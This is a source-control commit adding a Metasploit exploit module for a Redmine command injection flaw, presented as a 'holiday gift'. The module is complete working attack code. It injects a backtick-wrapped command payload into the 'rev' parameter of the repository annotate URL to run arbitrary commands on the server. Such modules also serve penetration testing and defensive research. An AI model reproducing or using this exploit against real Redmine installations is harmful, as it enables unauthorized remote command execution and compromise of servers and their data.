Exploit for a recent Redmine command injection vulnerability, provided as a holiday gift by Joernchen of Phenoelit.

git-svn-id: file:///home/svn/framework3/trunk@11406 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/unix/webapp/redmine_scm_exec.rb

@@ -0,0 +1,82 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Redmine SCM Repository Arbitrary Command Execution',
+			'Description'    => %q{
+					This module exploits an arbitrary command execution vulnerability in the
+				Redmine repository controller. The flaw is triggered when a rev parameter
+				is passed to the command line of the SCM tool without adequate filtering.
+			},
+			'Author'         => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					['URL', 'http://www.redmine.org/news/49' ]
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'DisableNops' => true,
+					'Space'       => 512,
+					'Compat'      =>
+						{
+							'PayloadType' => 'cmd',
+							'RequiredCmd' => 'generic telnet',
+						}
+				},
+			'Platform'       => 'unix',
+			'Arch'           => ARCH_CMD,
+			'Targets'        => [[ 'Automatic', { }]],
+			'DisclosureDate' => 'Dec 19 2010',
+			'DefaultTarget'  => 0))
+
+			register_options(
+				[
+					OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
+				], self.class)
+	end
+
+	def exploit
+		command = Rex::Text.uri_encode(payload.encoded)
+		urlconfigdir = datastore['URI'] + "repository/annotate?rev=`#{command}`"
+
+		res = send_request_raw({
+			'uri'     => urlconfigdir,
+			'method'  => 'GET',
+			'headers' =>
+			{
+				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
+				'Connection' => 'Close',
+			}
+		}, 25)
+
+		if (res)
+			print_status("The server returned: #{res.code} #{res.message}")
+		else
+			print_status("No response from the server")
+		end
+		handler
+	end
+
+end
+